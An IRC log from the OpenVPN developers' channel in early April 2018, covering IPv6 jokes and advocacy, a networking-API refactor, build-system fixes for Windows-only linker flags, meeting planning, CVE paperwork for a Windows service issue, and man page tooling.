[~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 23:09 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Sun Apr 01 2018 01:48 <@cron2> dazo: are you here, or is that just your ghost? 06:10 <@ordex> cron2: about "[PATCH] Depreciate IPv4-related options.": my argument was that openvpn should be able to work when configured with IPv6 only (i.e. no need to always have ipv4 settings if you need only ipv6), but it looks like you want to get rid of IPv4 at all? Or am I misreading your commit message? 07:29 <@cron2> ordex: IPv4 must die! 07:30 <@cron2> (and as a side note: today is April's fool's day...) 07:31 <@ordex> LOL 07:31 <@ordex> :) 07:32 <@cron2> that it's easter weekend as well and everybody is away from their e-mail is ruining the effect somewhat... 07:46 <@ordex> well, apparently somebody took it seriously :P 07:49 < tincantech> how cruel .. 07:49 <@cron2> Jon is the maintainer of Tunnelblick, which I find amusing :) 07:50 <@cron2> (and I will apologize later today for fooling him) 07:50 < tincantech> i was about to send my email of dispair ! 07:50 <@cron2> feel free 07:51 < tincantech> i can wait to see where the chips fall ;) 10:03 < tincantech> cron2: selva's got you there ;) 10:05 < cthuluh> similar subject, different approach: https://marc.info/?l=openbsd-cvs&m=152256582629837&w=2 10:05 <@vpnHelper> Title: 'CVS: cvs.openbsd.org: src' - MARC (at marc.info) 10:14 < tincantech> cthuluh: it's a conspiracy ! 10:23 < kitsune1> The ipv6 task force is eyeing for Nobel peace prize. 10:32 <@cron2> where? 10:33 <@cron2> ah, there :-) - cthuluh: nice one 10:36 <@cron2> ordex: thanks for the patchset. Let's see if I can find time for a proper review in the next weeks 11:47 < tincantech> plaisthos: cron2 fooled me2 12:02 <@plaisthos> :) 12:16 <@cron2> \o/ 20:19 <@ordex> cron2: cool 20:24 <@ordex> cron2: do you have any practial suggestion as of what people might do to push even more towards ipv6? with people I mean users, sysadmins, or even service providers managers 20:24 <@ordex> I often find myself in this position of "trying to understand what to do", but other than "let's pick this isp offering native ipv6" it seems I can't really do much 22:06 < tincantech> ordex: sjow them "the money" 22:07 <@ordex> heh 22:08 < tincantech> funny really .. just cos ipv6 works better dont mean it makes more money 22:08 <@ordex> wel, users don't make more money anyway :P 22:08 < tincantech> all ways follow the money 22:08 <@ordex> but yeah 22:08 <@ordex> I know this, this is why I am thinking about "what could be done" 22:09 < tincantech> frustrating eh ! 22:09 < pekster> I try to encourage correct implementation. Honestly, I'd rather see IPv6 rollout take longer and be done right, and that means things like RFC6177 complaince, as in actually giving consumers real deligation (/56 or better) so CPE can subnet 22:10 < tincantech> i said it before and i'll say it again .. fuck em 22:10 < pekster> Maybe home equipment starts having a VPN option as standard; maybe multiple networks for guest, IoT, home-office, etc, become commonplace features 22:11 < pekster> I have not been encouraged by what I've seen VPS vendors do :\ 22:12 < tincantech> rip all ipv4 out of ovpn .. just for a laugh .. and make ie it a +6 release 22:12 < pekster> We've actually had folks ask (rarely) about how to do that, as today IPv4 is a requirement (you just allocate a bogus RFC1918, even if you don't use it) 22:13 < tincantech> so just fkn do it 22:14 < tincantech> and fk the consequenceas 22:14 < tincantech> does not have to be official 22:15 < tincantech> libressl ... 22:24 < tincantech> ordex: old man .. just curious .. does your SITNL need to be at --verb 6 ? 22:27 < tincantech> pekster | Maybe home equipment starts having a VPN option as standard 22:28 < tincantech> dream on 22:33 <@ordex> tincantech: +#define·D_RTNL LOGLEV(6, 68, M_DEBUG) /* show RTNL low level operations */ 22:33 <@ordex> yeah 22:34 <@ordex> well, several asus routers and other similar brands provide openvpn by default, but it's quite non-mature atm 22:34 <@ordex> but they are doing it 22:36 < pekster> OpenWRT has a reasonably-sane implementation too, though I can't stand the "UCI" integrated config format. Thankfully you can supply an option to reference a config file and do it "normally 22:57 <@ordex> yeah 22:57 <@ordex> you can just choose and beep 22:57 <@ordex> I also use the config file on openwrt --- Day changed Mon Apr 02 2018 01:23 <@ordex> I wondering if sitnl.h could actually be re-used as generic API towards platform dependent code which, based on compile defines, will be implemented using ip/netlink/anything else. This would go towards our goal of splitting route.c/tun.c into platform dependent code uhm.....need to try that 02:56 <@cron2> pekster: ordex and I have already started working up a TODO list, see #208 03:00 <@cron2> ordex: dazo suggested moving towards "something like this". I haven't looked yet how the API looks like, but generally speaking this could be a way forward 03:01 <@cron2> what I want to avoid is having 10 different tun-$myos.c and route-$myos.c that are almost identical except for a single different argument towards ifconfig/route... 03:36 <@ordex> yap agreed 03:36 <@ordex> cron2: my question about ipv6 was more "general", (maybe utopistic) not just about openvpn 03:36 <@ordex> :P 10:21 < tincantech> syzzer: re #1048 .. i have done a bunch of testing and have some results but do you need them or do you already understand the problem ? 10:31 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 252 seconds] 10:34 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:34 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:38 < tincantech> syzzer: ping 11:29 <@ecrist> tincantech: regarding your easy-rsa bug, I'm not sure how to handle that, or if I can, even. 11:30 <@ecrist> The error is actually coming from openssl, and it auto-creates the file the first time is writes the database. 11:35 < tincantech> ok .. so you were already aware of it 11:35 <@cron2> phew... I can nearly see the wood of my desk here... some 6 hours of paperwork today... 11:36 < tincantech> cron2: go for paperless ! ;) 11:36 <@syzzer> tincantech: no, I don't fully understand, I just have hunches 11:36 <@syzzer> to actual facts are welcome :) 11:38 < tincantech> syzzer: hi .. i'll add my findings to #1048 for you 11:38 <@cron2> tincantech: half of the time spent was "scan documents", so yes :-) 11:39 < tincantech> syzzer: do you expect that it should work (if done correctly) to be able to use --dh none --ecdh-curve brainpoolp384r1 (for example) ? 11:39 < tincantech> cron2: so now you have some shredding to do ;) 11:40 <@cron2> tincantech: actually I put all the paperwork into folders and archive for 10+ years. Computers are not to be trusted with important documents. 11:41 < tincantech> cron2: you must have a *big* filing cabinet ! 11:44 < tincantech> ecrist: quick fix: 'build-ca; touch pki/index.txt.attr; build-server-full' seems to solve it ;) 11:46 <@ecrist> that's what I was thinking might, as well. Can you add that comment, or even propose a patch and I'll get around to it at some point 11:47 < tincantech> ecrist: will do ;) 12:36 <@cron2> ordex: what is the difference between TARGET_LINUX and LINUX? 12:36 <@cron2> or is 1/4 just preparation for configure.ac conditionals on "if [ LINUX = yes ]" in 2/4? 15:17 <@dazo> cron2: ordex: I'd presume you just need to add AM_CONDITIONAL() in the line where LINUX=yes is defined in patch 1/4 ... if it is needed to be defined for all platforms to not explode on non-Linux platforms, then the current approach in 1/4 is probably better. I'd prefer if the local variable would be "target_linux" instead of LINUX though, to have a similar semantic though 15:17 <@dazo> but the AM_CONDITIONAL() is required to do what 2/4 does in Makefile.am 15:18 <@cron2> guessed so, but was too busy to confirm - thanks 15:18 <@cron2> but it's good that you show up again :-) 15:18 <@cron2> dazo: can you get us a CVE for the windows service thing? 15:18 <@dazo> heh ... just quickly catching up 15:18 <@dazo> yeah, I'll tackle that this week 15:18 <@cron2> thanks, then I'll do the rest (with mattock and selva) 15:19 <@dazo> please bug be one of the following days if you haven't heard anything :) 15:20 <@dazo> (regarding absence ... chose to take a real Easter holiday this year ... public holidays Thu-Mon ... but computer abstinences got too high now :-P) 15:22 * dazo decides to grab some food and spend an some time behind the TV ... too seldom time for that :) 15:23 <@cron2> Holiday is good :-) 19:58 <@ordex> cron2: dazo: I am a configure/automake n00b, therefore it is very likely that what I did could be done differently. My goal was simply to have some conditional in the configure script so that in 2/4 I could use it to include the sitnl.c/h file --- Day changed Tue Apr 03 2018 04:44 <@cron2> don't ya love compiling on AIX... 04:44 <@cron2> "/usr/include/sys/types.h", line 409.17: 1506-446 (I) Array element(s) [5] ... [12] will be initialized with a default value of 0. 04:44 <@cron2> this is a system header, with the system C compiler 04:47 <@plaisthos> breaking Wall Werr since1970? 04:53 <@cron2> yup 05:19 < m-a> AIX is still around? Uh. 05:27 <@ordex> only in cron2's closet 05:27 <@ordex> :P 05:27 < m-a> I even ditched Solaris when Oracle took over, and refused to take an old Ultra 5 as a donation :-) 05:28 < m-a> I used to run Solaris on Intel but well with Oracle locking things up, I never bothered. 05:28 < m-a> I know there are free-Solaris-compatible systems but well. Remove Schilling from the projects frist. 05:53 < cthuluh> plaisthos: -Werr isn't a very good idea from a portability PoV anyway :) 06:00 <@plaisthos> Schilling is the mix of compontent person and troll 06:28 < m-a> He has technical expertise but is incompatible with humans, even with the tech-savvy guys who tolerate more techy nerdy behaviour. 06:29 < m-a> remember the licence wars around cdrecord and his wars against the Linux kernel developers when someone dared to add a user-friendly "dev=/dev/sr0" way of specifying devices, rather than forcing the SCSI numbering onto their users 06:30 < m-a> heavy NIH syndrome 07:00 -!- slypknot is now known as tincantech 07:00 <@ordex> NIH? 07:00 <@ordex> plaisthos: why? he come up with something funny recently? :P 07:03 < tincantech> Who ever manages the buildbot server, the server seems to think slave-tincan-con7 is connected .. but it is not and cannot until the server deletes the connection it thinks it has .. this has been ongoing for about 3 days 07:03 < tincantech> that is slave-tincan-cos7 07:06 * ordex nothing knows 07:07 <@dazo> ordex: NIH - Not Invented Here :) 07:09 < tincantech> is it mattock who manages build-master server ? 07:14 <@ordex> ah lol 07:47 <@cron2> tincantech: mattock, yes 08:02 < tincantech> cron2: thanks sent a mail as well 08:44 <@plaisthos> his tar might have replace a lot of tar implementations if he had a sane person/license 08:45 <@plaisthos> but nowadays it is bsdtar which replaced tar on everything but Linux 08:58 < m-a> bsdtar/libarchive has come a long way, but it was a bumpy road 09:28 <@ecrist> plaisthos: Linux is too hardware GPL, BSD is the other way around. I think FreeBSD has removed all non-BSD licensed stuff from base system 09:28 <@ecrist> (which is good, IMHO) 10:41 <@ordex> are we having a meeting tomorrow? 12:05 <@mattock> oh meeting 12:05 <@mattock> I can manage one 12:05 <@mattock> cron2, syzzer, dazo? 12:07 < SCHAPiE> m-a | [12:28:48] I know there are free-Solaris-compatible systems but well. << OpenIndiana 12:07 < m-a> yeah, but is it worth it? 12:07 < m-a> illumOS 12:07 < SCHAPiE> hmm, good question. I've used it only experimentally in VMs. 12:07 < SCHAPiE> never in production 12:11 <@ordex> https://lists.debian.org/debian-lts-announce/2018/04/msg00002.html 12:11 <@vpnHelper> Title: [SECURITY] [DLA 1338-1] beep security update (at lists.debian.org) 12:22 <@dazo> mattock: in a meeting now ... but I'm open for meeting tomorrow 12:47 -!- slypknot is now known as tincantech 12:47 < tincantech> mattock: all buildbots AOK 13:07 <@plaisthos> ecrist: they were kind of forced though 13:08 <@plaisthos> ecrist: GPL3 stuff cannot be shipped as "does not infere with the rest of the system in licenses" anymore, so for most utilities that were from GPL/FSF you can either keep the last outdated GPL2 version, fork it or replace with something non GPL 15:35 <@cron2> mattock: I can be there 15:44 <@cron2> mattock killed all my buildslaves... 15:44 <@cron2> Apr 3 18:34:39 osol10 openvpn[4282]: [ID 583609 daemon.notice] NOTE: Pulled options changed on restart, will need to close and reopen TUN/TAP device. 15:53 -!- mode/#openvpn-devel [+o d12fk] by ChanServ --- Day changed Wed Apr 04 2018 01:29 <@cron2> mornin 01:34 <@ordex> oin oin oin 01:43 <@cron2> plaisthos: I just discovered that you forgot to document --preresolve... 01:43 <@ordex> cron2: dazo: what was your final take with 1/4? should I change that to an AM_CONDITIONAL? I personally just re-used the same approach we already took with WIN32 in configure.ac 01:44 <@cron2> WIN32 is WIN32 is WIN32... :-) - I need to look at 2/4 to see what it is used for (and then I'll defer to dazo for "bah, configure") 01:46 <@ordex> :D 01:46 <@ordex> it is used to just add sitnl.c/h to the OPENVPN_sources variable :P nothing else 01:47 <@cron2> why not compile them all the time and just #ifndef TARGET_LINUX them inside? 01:47 <@cron2> just thinking loud 01:49 <@ordex> sure can do that too. I think this is the approach we have taken for the ssl backends 01:49 <@ordex> so it may make sense to do the same here 01:49 <@cron2> interesting enough, win32.c is always compiled... only block_dns.c ended up in openvpn_SOURCES on WIN32 01:50 <@cron2> (plus the .rc file, which is indeed something we cannot handle on other targets) 01:51 * ordex did not want to open any can of worms :P 01:54 <@vpnHelper> RSS Update - tickets: #1049: --preresolve is undocumented <https://community.openvpn.net/openvpn/ticket/1049> 01:54 <@cron2> so are we having a meeting today? 01:55 <@mattock> yes I think so 01:55 <@mattock> what's for the agenda? 01:56 <@mattock> 2.4.6? 01:57 <@cron2> trac auto-assign and default category 01:57 <@cron2> 2.4.6 release plan 01:57 <@cron2> leftovers from last meeting :) 01:58 <@mattock> I have a ticket for the auto-assign thing, and there's a trac plugin for it 01:58 <@mattock> no auto-assignment, but auto-CC 01:58 <@mattock> just need to get to it 01:59 <@cron2> auto-cc sounds like a cool thing, while I find auto-assign non-helpful (stuff belongs to "someone" just because the original submitter thought it might be "that category") 01:59 <@cron2> plus "default category = Access Server" - half the new tickets are assigned to james 02:00 <@cron2> but yeah, then we do not need it on the agenda :-) 02:00 <@mattock> I can fix the default category now 02:00 <@mattock> assigning tickets to james is rather pointless :P 02:01 <@cron2> yep :) 02:01 <@cron2> can it do "no default category, but you need to select one before submitting"? 02:02 <@mattock> not easily at least 02:02 <@mattock> but I can set the default category to "Generic/unclassified" 02:08 <@mattock> fixed 02:10 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2018-04-04 02:10 <@vpnHelper> Title: Topics-2018-04-04 – OpenVPN Community (at community.openvpn.net) 02:10 <@mattock> mostly copy-and-paste from last time 02:13 <@mattock> I'll remove the topics that were concluded the last time 02:14 <@mattock> updated slightly, will sent invitation 02:16 <@mattock> sent 02:23 <@mattock> cron2: do you wish to use IPv6 transport to the community VPN server? 02:24 <@mattock> to/with 02:24 <@cron2> mattock: if you have IPv6 in DNS, it needs to work for all services offered 02:25 <@cron2> and of course I want to use IPv6 :-) 02:29 <@mattock> that does not surprise me the least bit :P 02:48 <@mattock> cron2: ipv6 ping works now 02:48 <@mattock> I will stab at the openvpn config next 02:49 <@mattock> anything in particular I should know about enabling IPv6 transport in an openvpn server config? 02:49 <@mattock> 2.4.5 02:49 <@cron2> is this linux? 02:50 <@mattock> centos 7.4 02:50 <@cron2> if yes, you'll need "--proto udp6" to be sure ("udp" tends to be "ipv4-only" or "dual-stack" depending on weather and getaddrinfo() taste...) 03:04 <@mattock> cron2: can you try IPv6 transport now? 03:04 <@mattock> my test VPS has "remote 2600:1f1c:702:ae01:af0f:77e3:b237:2c1a 1194 udp6" and it seems to connect just fine 03:07 <@cron2> Apr 4 10:06:53 fbsd11 openvpn[98573]: [server] Peer Connection Initiated with [AF_INET6]2600:1f1c:702:ae01:af0f:77e3:b237:2c1a:1194 03:07 <@cron2> works! thanks :) 03:08 <@mattock> excellente! 05:28 <@vpnHelper> RSS Update - tickets: #1050: OpenVPN 2.4.5 openssl 1.1.0 client not able to verify to openssl 1.0.1e-fips server <https://community.openvpn.net/openvpn/ticket/1050> 06:41 -!- slypknot is now known as tincantech 08:04 <@vpnHelper> RSS Update - tickets: #1051: Openvpn interactive service issue <https://community.openvpn.net/openvpn/ticket/1051> 11:08 <@dazo> cron2: regarding the seclist discussion ... "The wording is a bit rough, but technically correct." ... you mean the choice of words are rough, or the content is scarce on the details? 11:08 <@dazo> if the latter, that's intentional :) 11:09 <@dazo> not sure if we should be too detailed (most other reported issues in other projects are somewhat similarly scarce on the details) ... but I'm open to improve it, if you think it's required 11:21 <@cron2> Nah, it's more a language thing 11:22 <@cron2> Maybe "In OpenVPN 2.4.0 to 2.4.5 on windows, the interactive service..." so it's clear that the first mentioning of "OpenVPN" is not "the openvpn binary itself" but "part of the bundle" 11:23 <@dazo> ahh, I see 11:23 <@cron2> but my wording is also not good yet 11:23 <@dazo> it's hard to get wording right when it's not a compiler which is going to parse it :-P 11:31 <@plaisthos> or the compiler are many and the average quality is bad and the language definition is vague too 11:31 <@dazo> heh 11:39 < cthuluh_> fwiw I've just sent a private mail to Janito Vaqueiro Filho, his "Send authentication failure reason between plugins" patch doesn't apply 11:39 -!- cthuluh_ is now known as cthuluh 11:41 <@dazo> where did you pick up that patch from? 11:41 <@dazo> ahh 11:41 <@dazo> it's quite fresh on the list 11:42 < cthuluh> yep, Message-ID: <CAFvKqoEvVYg87Vwu=E_Wp0cOk7qZfsgBoguiX5ToLMNqW4wKRw@mail.gmail.com> 11:44 <@dazo> meh ... sending patch in both text/plain and text/html .... 11:53 <@plaisthos> the fall back to normal auth patch for auth-token is now also on its way to the ML 11:55 <@dazo> hihi .... https://xkcd.com/1957/ ... see the last entry in that list ... and then head over here: and look for the "Open discussion" https://cve.mitre.org/data/board/archives/2018-03/msg00025.html 11:55 <@vpnHelper> Title: xkcd: 2018 CVE List (at xkcd.com) 12:37 <@dazo> hehe ... Fedora kernel package got a patch named: die-floppy-die.patch :-P 12:37 <@dazo> Subject: [PATCH] die-floppy-die 12:37 <@dazo> Kill the floppy.ko pnp modalias. We were surviving just fine without 12:37 <@dazo> autoloading floppy drivers, tyvm. 12:37 <@dazo> Please feel free to register all complaints in the wastepaper bin. 12:38 <@dazo> :-P 13:30 < lucasfe> Hi guys, is this the right channel to ask for help, on some build errors? 13:33 < tincantech> lucasfe: shoot .. but if you have logs please paste them to paste server not the channel 13:38 < lucasfe> well, I`m cross compiling for arm, on ubuntu 16.04. I`m getting an error on open ssv. Makefile:639: recipe for target 'libcrypto.so' failed 13:38 < lucasfe> can you tell me how to send to the server? sorry, I'm a newbie here XD 13:39 < tincantech> have you read all this : https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#Cross-compilingonNIXgenericsubdir 13:39 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 13:40 < tincantech> lucasfe: "paste server" = pastebin.com or something like that 13:40 < tincantech> sometimes i use https://0paste.com/ 13:42 < lucasfe> oh nice, I will upload the logs, hold on 13:42 < lucasfe> and yes, I have read and followed the instructions on the link above 13:43 < tincantech> lucasfe: can you build a normal ubuntu binary on the system you are using ? 13:44 < tincantech> openvpn binary that is .. 13:44 < lucasfe> https://pastebin.com/mmEPBV6q 13:44 < lucasfe> humm, I was able to build fine from a tarball 13:45 < lucasfe> now I`m building from openvpn-build project 13:45 < lucasfe> I was using this line: 13:45 < lucasfe> IMAGEROOT=`pwd`/image-arm CHOST=arm-linux-gnueabi \ 13:45 < lucasfe> CBUILD=x86_64-pc-linux-gnu ./build 13:45 < lucasfe> for arm build 13:46 < lucasfe> but the same erros happens for this compile instruction: IMAGEROOT=`pwd`/image-native ./build 13:46 < lucasfe> I was also able to build open ssv project alone 13:46 < tincantech> ahh .. wel then 13:47 < tincantech> you have not managed to build opevpn 13:47 < tincantech> at all 13:47 < lucasfe> yes 13:47 < tincantech> make sure you have all the right dependencies to build openvpn image-native first 13:49 < lucasfe> i have executed the the scripts for ubuntu: https://community.openvpn.net/openvpn/wiki/SettingUpGenericBuildsystem#no1 -> setup-generic-buildsystem.6.sh 13:49 <@vpnHelper> Title: SettingUpGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 13:49 < lucasfe> do I need to setup something else? 13:52 <@mattock> lucasfe: no, that should do it 13:54 < tincantech> mattock: hi .. i'll spin up ub16 .. see what happens 13:56 < tincantech> i do recall this error : /usr/bin/ld: unrecognized option '--dynamicbase' .. but alas my memory cannot recall why 14:00 < tincantech> it's fired up 14:00 < lucasfe> kkkk 14:01 <@dazo> lucasfe: smells like it didn't find the openssl libraries 14:02 <@dazo> meh ... I see the pastebin now 14:02 <@dazo> /usr/bin/ld: unrecognized option '--dynamicbase' 14:02 <@dazo> so ... this is a compile flag which might come from the openvpn-build stuff, which needs to be removed from there 14:03 < lucasfe> humm, I will check! =D 14:03 < tincantech> dazo: i think that the one i found and syzzer rasied the bug rep on openssl 14:03 <@dazo> From 'man ld': 14:03 <@dazo> --dynamicbase 14:03 <@dazo> The image base address may be relocated using address space layout 14:03 <@dazo> randomization (ASLR). This feature was introduced with MS Windows Vista 14:03 <@dazo> for i386 PE targets. 14:04 <@dazo> so this seems to be a Windows specific linker flag 14:04 <@dazo> and it's in openvpn-build ... because we mostly use that to cross build for Windows 14:04 < kitsune1> Its a mingw option. 14:04 <@dazo> yeah, related to the linker 14:06 < lucasfe> do you guys use ubuntu to build? 14:06 < lucasfe> or other distro? 14:06 <@dazo> I have no idea tbh .... not doing the windows builds :) 14:06 < kitsune1> Windows binary is built on ubuntu 16.0x I believe 14:06 <@dazo> I developer and test my code on RHEL7 these days .... but I focus on Linux primarily too 14:08 < tincantech> ubuntu 16.04 is the official platform for the build system, i believe 14:08 <@mattock> it is 14:08 <@mattock> I do the official builds 14:08 < lucasfe> well, at least I`m on the correct platform =D 14:08 < tincantech> i am building native now 14:08 <@mattock> I think the dynamicbase thing is the only thing you may have to fix 14:09 < lucasfe> uhum 14:09 < lucasfe> I tried to remove the dynamicbase flag 14:09 <@mattock> although I'd prefer if openvpn-build would work with out of the box defaults 14:10 < tincantech> mattock: it used to work (even for arm) but the change to 16.04 may have introduced this (soemthing like that) 14:11 <@mattock> I have EXTRA_TARGET_CFLAGS="-Wl,--dynamicbase,--nxcompat" 14:11 <@mattock> in generic/build.vars 14:11 <@mattock> and that works 14:11 < tincantech> not for me .. 14:11 < tincantech> just failed with the same error 14:12 <@mattock> what is your mingw-w64 version? 14:12 < tincantech> maybe comment that out for non-windows 14:12 < tincantech> mingw-w64 latest 14:12 <@mattock> yeah, I think that's a good idea 14:12 <@mattock> https://community.openvpn.net/openvpn/attachment/wiki/SettingUpGenericBuildsystem/setup-generic-buildsystem.6.sh 14:12 <@vpnHelper> Title: setup-generic-buildsystem.6.sh on SettingUpGenericBuildsystem – Attachment – OpenVPN Community (at community.openvpn.net) 14:13 <@mattock> install stock mingw-w64 from default ubuntu repos 14:13 <@mattock> installs 14:13 <@mattock> if cross-compiling windows binaries everything should "just work" after running that script 14:13 < tincantech> mingw-w64 is already the newest version (4.0.4-2). 14:13 <@mattock> same here 14:14 < tincantech> starting now without dynamicbase 14:15 * tincantech laptop is in blow dry mode ;) 14:16 < tincantech> oops .. /usr/bin/ld: unrecognized option '--nxcompat' 14:16 < tincantech> off we go again .. 14:16 < lucasfe> guys, I have checked out the tag openvpn-2.4.0 14:17 < lucasfe> and compiled fine, not cross compile tough 14:17 < lucasfe> gonna test cross compile on this tag now 14:17 < tincantech> and .. gcc: error: unrecognized command line option '-Wl' 14:17 < tincantech> off we go again .. 14:22 < tincantech> Done! 14:22 < kitsune1> mingw-w64 should work with -Wl,--dynamicbase,--nxcompat. Works even on an old version like mingw-w64_3.2.0 14:23 < tincantech> kitsune1: maybe 'should' but clearly does not the way the build system uses it 14:24 < tincantech> i just used: EXTRA_TARGET_CFLAGS="" .. which works for native .. 14:25 < tincantech> lucasfe: we await your result for ARM .. that is what you are testing right ? 14:25 < lucasfe> yes! 14:26 < lucasfe> I just got the error for libpam, just added the extra config and recompiling 14:27 < lucasfe> tincantech did you build on master head? 14:28 < lucasfe> well, worked fine on openvpn-2.4.0 tag 14:28 < lucasfe> thanks guys! 14:29 < tincantech> lucasfe: i just tested that script as is 14:30 < lucasfe> have you changed anything on you enviroment? mingw-w64? 14:30 < lucasfe> just for curiosity XD 14:30 < tincantech> only removed the EXTRA_TARGET_CFLAGS .. nothing else 14:31 < tincantech> but i did not test ARM 14:31 < lucasfe> humm, I will try that also 14:33 < tincantech> lucasfe: last time i tried ARM it worked (with the disable libpam bit) but that was a while ago and i don't have a device to test the binary on anyway --- Day changed Thu Apr 05 2018 00:40 <@cron2> mooonin 00:46 <@ordex> aloha! 01:25 <@ordex> is community.openvpn.net behind cloudflare ? 01:28 < cthuluh> that's what whois(1) tells me 01:28 <@ordex> alright 01:28 <@ordex> thanks :) 01:28 <@cron2> your bosses seem to have a great liking for cloudflare :) 01:28 <@ordex> whoever that is :P 01:29 <@cron2> mattock actually wanted to go and find out "why cloudflare" since it's causing so much problems with downloads 01:29 <@cron2> (specifically, with replacing cached things) 01:30 <@ordex> well now this should be better as he learned how to really wipe the cache (apparently he was missing some steps) 01:32 <@ordex> I think cloudflare is good as DoS protection no? but I also guess that there are way better solutions to achieve that (that do no tinvolve caching and so on) 01:32 <@ordex> *not 01:56 <@ordex> does anybody know why we pass all the allowed env variables to the child process that will run the ip command in tun.c/route.c ? does it really need them? I thought it was supposed to run using the provided arguments only 01:57 <@ordex> the question is: what is passed? because I guess that if something is really passed via env, people using --iproute might be using them) 01:59 <@ordex> apparently we pass every env variable when (script_security >= SSEC_PW_ENV) is true 02:00 <@ordex> ah no, we just pass every variable. password are passed only when that condition is also true 02:00 <@ordex> interesting.. 02:03 <@ordex> yeah I can print the entire set of env variable from the --iproute command. I wonder why we do that.. 02:42 <@ordex> interesting: print_in_addr_t() can received gc=NULL as parameter, but it will return a const char * that can't be free'd .. 02:42 <@ordex> hm 03:11 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 260 seconds] 03:13 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 03:13 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:09 < cthuluh> Is there a particular reason why I would get disconnected from #openvpn and #openvpn-devel? I noticed this a few times already. 06:09 < cthuluh> keeping lurkers away? :) 06:11 <@plaisthos> 10:11:46 -!- cthuluh [~jca@chomsky.autogeree.net] has quit [Ping timeout: 264 seconds] 06:11 <@plaisthos> seems to be a problem on your end 06:11 <@plaisthos> no idea 06:13 < cthuluh> duh, pebkac it seems 06:13 < cthuluh> sorry for the noise 06:13 < cthuluh> plaisthos: thanks for the cluebat! 06:18 <@ordex> :D 06:22 < cthuluh> simple explanation: "#openvpn-devel Cannot join channel (+r) - you need to be identified with services" 06:28 <@ordex> you should be able to configure your client to auto-authenticate upon connection if you want 07:28 <@ordex> cron2: I have reworked my sitnl branch. This time I have proposed a way to include the iproute2 support. I hope you'll like the idea. I basically converted the "sitnl api" into a "generic networking api" that is expected to be implemented by each platform *without* carrying the logic as well (that will stay in tun.c/route.c). Anyway, just an idea. I have to see how this fits the non-linux platforms 07:29 <@ordex> code is always here: https://github.com/ordex/openvpn/commits/sitnl and the new api is added here https://github.com/ordex/openvpn/commit/bc369b80de4906f497a3108a823ca5860bc2da83 and iproute2 support for API is implemented here: https://github.com/ordex/openvpn/commit/efc58ea8deb06dc0fa94048a0da8c0fe11b72764 07:29 <@vpnHelper> Title: Commits · ordex/openvpn · GitHub (at github.com) 07:49 -!- slypknot is now known as tincantech 10:08 <@cron2> I would not object to most of tun.c and route.c go to something like "network-win32.c", "network-netlink.c", "network-unixy.c" 10:08 <@cron2> "unixy" would then have the "call out to ifconfig/route/iproute2 to do work" things 10:09 <@cron2> but let me look at what you have first :) 10:20 <@ordex> yup :) and "unixy/unix" sounds good than my meaningless "ip" :-P 10:21 <@ordex> s/good/better 12:03 <@ordex> at least it works[tm] (even though I have to solve the isse of passing the env_set down to the networking api now..) --- Day changed Fri Apr 06 2018 02:30 <@ordex> dazo: do we have a "manpage" for ovpn3 config files? maybe that wouldn't be a bad idea, no? 06:35 -!- slypknot is now known as tincantech 08:05 <@dazo> ordex: well, the openvpn3 config files is essentially not different from openvpn2 .... some options lacks support though. My openvpn2 python wrapper is probably the best source though 08:05 <@dazo> but yeah, we should look at documenting options better 08:06 <@dazo> *config options 08:14 <@ordex> dazo: yeah, I was thinking about "where do I tell people to look when they ask for supported options?" and consider that the person might be a simple user, not expert 08:14 <@ordex> this is why I thought that some "manpage/doc" might be helpful 08:17 <@dazo> yeah ... perhaps we should start pondering on splitting up the openvpn.8 into configuration options and openvpn 2.x runtime specific options? ... and then carry the config man page as a separate git repos (git submodules can ensure more easily integration) ... not convinced, just thinking aloud 08:18 <@dazo> but with such a change .... we need something way better than groff as the source file format 08:18 <@ordex> what are "openvpn 2.x runtime specific options" ? options that work only on openvpn2.x ? 08:21 <@dazo> script hooks ... user/group/chroot ... that kind of options 08:21 <@dazo> plugin 08:22 <@dazo> essentially anything not directly related to VPN or network configuration 08:22 <@ordex> ah ok 08:23 <@dazo> and in regards to groff ... this is how I feel like every time I need to patch the man page ... https://www.autoinfluence.com/wp-content/uploads/2016/02/horror-4.jpg 08:24 < cthuluh> mdoc ftw :) 08:24 <@ordex> lol 08:24 <@ordex> :D 08:25 <@dazo> Mississippi Department of Corrections? 08:25 < cthuluh> (https://mandoc.bsd.lv/ yes, serious proposal) 08:25 <@vpnHelper> Title: mandoc | UNIX manpage compiler (at mandoc.bsd.lv) 08:26 <@ordex> I wonder if its manpage is also written using mandoc 08:26 * ordex ducks 08:26 < cthuluh> of course 08:26 < cthuluh> the tool is called mandoc, the format is called mdoc 08:26 <@cron2> https://twitter.com/groffthebsdgoat?lang=de 08:27 <@cron2> dazo: you really need to meet groff in person to overcome your negative feelings 08:28 <@dazo> heh 08:29 <@cron2> (and I'm afraid our man page can't be helped by going to a different documentation tool... it can only be helped by ripping out 90% of all options out of openvpn...) 08:30 * ordex likes the idea 08:30 <@dazo> I believe it can be organized in a way which is a bit more structured and easier to get an overview of ... 08:30 <@dazo> cthuluh: but that's just continuing to use the roff format, right? 08:32 <@dazo> Just basing it on this one: https://mandoc.bsd.lv/man/mdoc.7.html 08:32 <@vpnHelper> Title: MDOC(7) (at mandoc.bsd.lv) 08:33 <@ordex> cron2: I think the gazillions of options is (imho) one of the aspects that makes openvpn less userfriendly when compared to other solutions. but i also understand that fixing that *now* is not easy because each option is probably used by $some users 08:33 <@ordex> so ripping them off right away will not necessarily be good, unless we make some kind of "jump" 08:34 <@dazo> I'm actually thinking more in the way of pandoc and having the contents in .rst/.md files ... which would be easier to format to whatever format we want afterwards ... http://pandoc.org/ 08:34 <@vpnHelper> Title: Pandoc - About pandoc (at pandoc.org) 08:35 <@dazo> (including groff) 08:36 < cthuluh> from a packager PoV, pandoc is madness. actually, the whole ghc ecosystem is madness. 08:36 < cthuluh> but sure, it works fine on debian and fedora :) 08:37 <@dazo> All I remember is that 'yum install 